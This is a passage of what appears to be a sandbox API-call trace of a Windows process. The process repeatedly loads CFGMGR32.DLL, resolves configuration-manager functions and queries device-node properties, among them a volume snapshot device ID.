(hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.913] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.914] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0223.915] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0223.915] malloc (_Size=0x18) returned 0x196ef0d1f60 [0223.916] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0223.916] malloc (_Size=0x48) returned 0x196ef0fb450 [0223.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6651ec4d, dwHighDateTime=0x1d9eb0c)) [0223.916] SetEvent (hEvent=0x248) returned 1 [0223.923] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0223.923] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0223.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0223.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0223.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0223.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0223.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0223.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0223.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0223.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0223.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0223.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0223.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0223.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0223.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0223.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.009] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0224.009] CM_Get_Device_IDA (in: dnDevInst=0x22, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUMESNAPSHOT\\HARDDISKVOLUMESNAPSHOT1") returned 0x0 [0224.010] malloc (_Size=0x48) returned 0x196ef0fbae0 [0224.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6660d159, dwHighDateTime=0x1d9eb0c)) [0224.010] SetEvent (hEvent=0x248) returned 1 [0224.014] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.014] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.014] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.015] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.016] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.017] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.017] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0224.017] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0224.017] malloc (_Size=0x30) returned 0x196ef0d1390 [0224.017] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1390, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1390, pulLength=0x67117d608) returned 0x0 [0224.018] free (_Block=0x196ef0d1390) [0224.018] malloc (_Size=0x48) returned 0x196ef0fb220 [0224.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6660d159, dwHighDateTime=0x1d9eb0c)) [0224.018] SetEvent (hEvent=0x248) returned 1 [0224.022] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0224.022] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0224.022] free (_Block=0x196ef0d1ba0) [0224.022] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0224.022] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.022] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0224.022] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0224.022] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0224.022] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0224.022] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0224.022] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0224.022] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0224.023] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225db0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0224.023] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0224.024] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0224.024] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.024] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.027] malloc (_Size=0x18) returned 0x196ef0d1960 [0224.027] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0224.028] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0224.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x66629c5c, dwHighDateTime=0x1d9eb0c)) [0224.028] SetEvent (hEvent=0x248) returned 1 [0224.030] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.030] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.031] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.032] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.033] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.034] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0224.034] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.037] malloc (_Size=0x48) returned 0x196ef0fb400 [0224.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6664fef6, dwHighDateTime=0x1d9eb0c)) [0224.037] SetEvent (hEvent=0x248) returned 1 [0224.040] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.040] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.040] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.041] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.042] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.043] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.043] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0224.043] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.044] malloc (_Size=0x48) returned 0x196ef0fb450 [0224.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6664fef6, dwHighDateTime=0x1d9eb0c)) [0224.044] SetEvent (hEvent=0x248) returned 1 [0224.047] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.047] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.050] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.050] malloc (_Size=0x18) returned 0x196ef0d1e60 [0224.050] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0224.051] malloc (_Size=0x48) returned 0x196ef0fb220 [0224.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x666e87c6, dwHighDateTime=0x1d9eb0c)) [0224.103] SetEvent (hEvent=0x248) returned 1 [0224.106] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.106] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.106] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0224.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0224.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0224.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0224.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0224.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0224.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0224.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0224.109] malloc (_Size=0x18) returned 0x196ef0d2040 [0224.109] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0224.110] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0224.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x666e87c6, dwHighDateTime=0x1d9eb0c)) [0224.111] SetEvent (hEvent=0x248) returned 1 [0224.116] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0224.116] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0224.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0224.117] 